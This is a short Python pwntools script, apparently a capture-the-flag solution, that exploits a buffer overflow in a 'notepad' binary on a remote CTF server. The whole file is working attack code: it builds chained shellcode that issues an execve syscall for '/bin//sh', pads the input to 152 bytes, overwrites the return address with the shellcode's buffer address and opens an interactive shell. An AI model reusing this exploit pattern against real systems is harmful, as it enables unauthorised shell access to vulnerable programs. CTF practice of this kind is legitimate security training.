#!/usr/bin/env python
from pwn import *
context.arch = 'amd64'

r = remote('ctf.adl.tw',11003)
#r = process('./notepad')

e = ELF('./notepad')
payload = asm("""push 0x3b""") # 0x6010c0
payload += asm("""pop rax""")
payload += asm("""push 0x0""")
payload += asm("""push 6295760""")
payload += asm("""ret""")
payload = payload.ljust(16,asm("""nop"""))
payload += asm("""pop rdx""") # 0x6010d0
payload += asm("""push 0x0""")
payload += asm("""pop rsi""")
payload += asm("""push 6295776""")
payload += asm("""ret""")
payload = payload.ljust(16,asm("""nop"""))
payload += 'bbbbbb'
payload += asm("""push 6295824""") # 0x6010e0
payload += asm("""push 6295808""")
payload += asm("""ret""")
payload = payload.ljust(16,asm("""nop"""))
payload += 'ccccccccccccccccccccc'
payload += asm("""pop rdi""")
payload += asm("""nop""")
payload += asm("""syscall""")
payload = payload.ljust(80,asm("""nop"""))
payload += '/bin//sh\00'


notepad = 0x6010c0 

pop_rdi_ret = 0x0000000000400a63
raw_input('#')
#152

r.sendline(payload.ljust(152,"\x00") + p64(notepad))

r.sendline()
#r.sendline('a'*152)

r.interactive()
